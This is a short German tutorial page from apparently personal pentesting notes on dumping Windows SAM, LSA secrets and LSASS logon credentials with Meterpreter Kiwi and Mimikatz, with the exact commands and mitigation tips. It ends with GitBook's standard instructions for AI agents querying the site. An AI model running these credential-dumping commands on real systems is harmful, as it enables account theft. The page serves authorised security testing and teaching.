> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/windows-vulnerabilities/local-privilege-escalation-and-credentials/windows-hash-dumping-with-mimikatz.md).

# Windows-Hash-Dumping mit Mimikatz

Mimikatz und Meterpreter Kiwi können Windows-Geheimnisse aus LSASS, der SAM-Datenbank und LSA-Geheimnissen auslesen. Verwenden Sie die Ergebnisse, um die Auswirkungen eines lokalen Zugriffs oder einer kompromittierten Sitzung zu validieren.

## Meterpreter-Kiwi-Modul

```
kiwi laden
```

<figure><img src="/files/ba0d5be0e9f78d819cebdfa1d24db96e9c9eeb72" alt="Loading Kiwi in Meterpreter"><figcaption></figcaption></figure>

Zugängliche Anmeldeinformationen auflisten:

```
creds_all
```

<figure><img src="/files/4d2ba921cb745f8fde341eb9c83bd934f87d356c" alt="Kiwi credential listing"><figcaption></figcaption></figure>

## SAM- und LSA-Geheimnisse auslesen

```
lsa_dump_sam
```

<figure><img src="/files/e1025bb79b999ef0dcd87840161457ff11f605ed" alt="SAM dump with Kiwi"><figcaption></figcaption></figure>

```
lsa_dump_secrets
```

<figure><img src="/files/3c6af01ddab602ca7e3af321d2351e452ff6cc27" alt="LSA secrets dump with Kiwi"><figcaption></figcaption></figure>

## Mimikatz ausführen

```
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
lsadump::sam
lsadump::secrets
sekurlsa::logonpasswords
```

<figure><img src="/files/dc8c72fd4943fc0080aba19e2a1889126380ae07" alt="Uploading Mimikatz"><figcaption></figcaption></figure>

<figure><img src="/files/3bee603c55d5ae09ab8a181061dcd005623e7fec" alt="Mimikatz SAM and secrets commands"><figcaption></figcaption></figure>

<figure><img src="/files/b1b9c237d5884ba004c7c125b15a95d18fb2bd88" alt="Mimikatz credential output"><figcaption></figcaption></figure>

## Wichtige Punkte

* LSASS kann Anmeldeinformationen aus aktiven Anmeldesitzungen enthalten.
* SAM enthält NTLM-Hashes für lokale Konten.
* Beheben mit Credential Guard, reduzierter Exposition lokaler Administratoren und LSASS-Zugriffsüberwachung.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/windows-vulnerabilities/local-privilege-escalation-and-credentials/windows-hash-dumping-with-mimikatz.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
